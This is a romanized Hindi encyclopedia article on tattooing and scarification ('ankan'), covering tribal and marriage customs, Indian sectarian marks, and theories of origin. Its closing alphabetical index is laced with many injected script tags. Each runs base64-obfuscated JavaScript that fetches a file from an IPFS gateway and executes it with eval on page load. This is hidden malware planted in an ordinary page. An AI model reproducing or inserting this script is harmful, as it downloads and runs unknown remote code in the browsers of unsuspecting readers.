अंकन

chitr:Disamb2.jpg aankan

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- aankan (bahuvikalpi)

aankan ko 'gudana' ya 'pachhena' bhi kahate haian. sharir ki tvacha par rangin akritiyaan utkirn karane ke lie aang vishesh par ghav karake, chira lagakar athava satahi chhed karake unake aandar lak di ke koyale ka choorn, rakh ya phir rangane ke masale bhar die jate haian. ghav bhar jane par khal ke oopar sthayi rangin akriti vishesh ban jati hai. gudanoan ka rang pray: gahara nila, kala ya halka lal rahata hai. aankan ki ek vidhi aur bhi hai, jisase banane vale vranaropan ko 'kshatachihn' ya 'kshataank' kaha jata hai. isamean kisi ek hi sthan ki tvacha ko bar-bar katate haian aur ghav ke thik ho jane ke bad ukt sthan par ek arbud ya ubhara hua chakatta ban jata hai, jo dekhane mean reshedar lagata hai. thumb|250px|sharir par ubhari huee akriti

pratha

kuchh deshoan ya jatiyoan mean rangin gudane gudavane ki pratha hai, to kuchh mean keval kshatachihnoan ki. parantu kuchh aisi bhi jatiyaan haian, jinamean donoan prakar ke aankan prachalit haian, yatha- dakshin sagar dvip ke nivasi. aidamiraisti dvip mean rahane valoan, phiji nivasiyoan, bharat ke goand evan todo, lyoo kyoo dvip ke bashiandoan aur any kee jatiyoan mean rangin gudane gudavane ki pratha keval striyoan tak simit hai ya thi. misr mean nil nadi ki urdhv upatyaka mean basane vale latuka log keval striyoan ke shariroan par kshatachihn banavate haian. rangin gudanoan ke pichhe pray: alankaran ki pravritti hoti hai, jabaki kshatachihnoan ka mahatv adhikatar kabiloan ki pahachan ke lie rahata hai. afrika ke anek adim kabile kshatachihnoan ko pasand karate haian aur madhy kaangoan ke bagal sharir alankaran hetu poore sharir par kshataank banavate haian.

anivaryata

kahian-kahian vivah aur gudanoan mean paraspar gahara sanbandh rahata hai. salaman dvip mean l dakiyoan ka vivah tab tak nahian ho pata, jab tak ki unake cheharoan aur vakshasthaloan par gudane n gudava die jaean. astreliya ke adivasiyoan mean vivah se poorv l dakiyoan ki pith par kshatachihnoan ka hona anivary hai. pharamosa nivasiyoan mean vivah se pahale l dakiyoan ke cheharoan par gudane gudavae jate haian aur nyoogini ke papuan vivah se poorv l dakiyoan ke poore sharir par, muanh ko chho dakar gudane gudavate haian. nyoojilaiand ke maoris logoan tatha japaniyoan ne rangin gudanoan ka vikas uchch kalatmak roop mean kiya tha. kiantu any kee jatiyoan ki tarah in donoan ne bhi sabhyata ke prakash mean gudana pratha ko adhikatar tyag diya hai. malay jati mean gudanoan ko puraskarasvaroop grahan kiya jata hai aur keval saphal tatha pramukh shikari hi gudane gudavane ke adhikari hote haian. sabhy deshoan ke navik bhi bahudha kisi ek rang ke gudane apane hathoan aur chhatiyoan par gudavate haian, jinaki akriti pray: tare ya dhvaj ki hoti hai.

bharat mean prachalan

bharat ki striyaan bhi gudanoan ki shaukin hoti haian, lekin purushoan mean vaishnav log shankh, chakr, gada, padm vishnu ke char ayudhoan ke chihn chhapavate haian aur dakshin ke shaiv log trishool ya shivaliang ke. ramanuj sanpraday ke sadasyoan mean isaka chalan adhik hai. dvarika isake lie prasiddh sthan hai. om ka chihn bhi log hathoan par banavate haian aur bahut-si striyaan pati ke nam bahoan par gudava leti haian.

utpatti aur vikas

nritatvashastriyoan tatha samajashastriyoan ne aankan ya gudanoan ki utpatti ko lekar kee parikalpanaean prastut ki haian, kiantu upayukt sakshyoan ke abhav mean abhi tak inamean se kisi ko bhi aantim roop se svikar nahian kiya ja saka hai. vidvanoan ke ek varg ke anusar adim manav ko aankan ki kala akasmath‌ maloom huee hogi; yah aise ki ag jalate samay adhajali lak di se usaki aanguli jal gee hogi ya kaanta lagane par usane khoon ko rokane ke lie rakh ka prayog kiya hoga aur ghav thik hone par ek bar gudana ban jane ke uparaant isaka prayog alankaran ke lie hone laga hoga. aj bhi kal-karakhanoan mean durghatanaoan se shramikoan ke shariroan par, unake n chahane par bhi gudane ban jate haian. em. nyoobargar ke anusar gudanoan ka praranbh adim chikitsa paddhati mean khoja ja sakata hai, jisake aantargat jakhmoan ko bharane ke lie rakh, koyale ke choorn tatha rangoan ka prayog kiya jata tha. kuchh any rogoan mean chira lagakar khoon nikala jata tha aur vishvas kiya jata tha ki isase rog door ho jaega.

vibhinn manyataean

aj bhi chin mean vishesh prakar ki suiyoan se sharir ke kuchh nishchit bhagoan ko chhedakar rogoan ka upachar karane ki paddhati vartaman mean hai, jise ekyoo pankchariang sanjna se jana jata hai. katipay vidvanoan ke anusar adimakalin manav ne kap doan ke abhav mean sharir ko vichitr akritiyoan mean rangana shuroo kiya aur bad mean ise sthayi roop dene ke lie gudanoan ka vikas hua. kuchh vidvanh‌ gudanoan ka sanbandh jadoo-tone sanbandhi abhicharoan se manate haian. harabart spensar ke vichar se gudana pratha ka aranbh mritatmaoan ko rakt chadhane ke abhichar se hua. mako ya maori jati mean phaile adim vishvas ke anusar unake poorvajoan ne yuddh mean pahachan ke lie mukh par lak di ke koyale ko rang ke roop mean istemal kiya aur jakhm adi lagane par unake cheharoan ke oopar gudane ban ge. bad mean isane pratha ka roop le liya aur anek jatiyoan ya kabiloan mean akriti vishesh ke gudanoan ko ganachihn ke roop mean svikar kar liya gaya. kiantu dablyoo. elis ne varshoan palinesiya dvip samooh mean vahaan ke adivasiyoan ke bich rahakar khoj ki aur is nishkarsh par pahuanche ki is sanbandh mean kisi ek likhit siddhaant par pahuanchana asanbhav hai.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ aankan (hiandi) bharatakhoj. abhigaman tithi: 28 janavari, 2014.

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] (hiandi) bharatakhoj. abhigaman tithi: 28 janavari, 2014.

[1]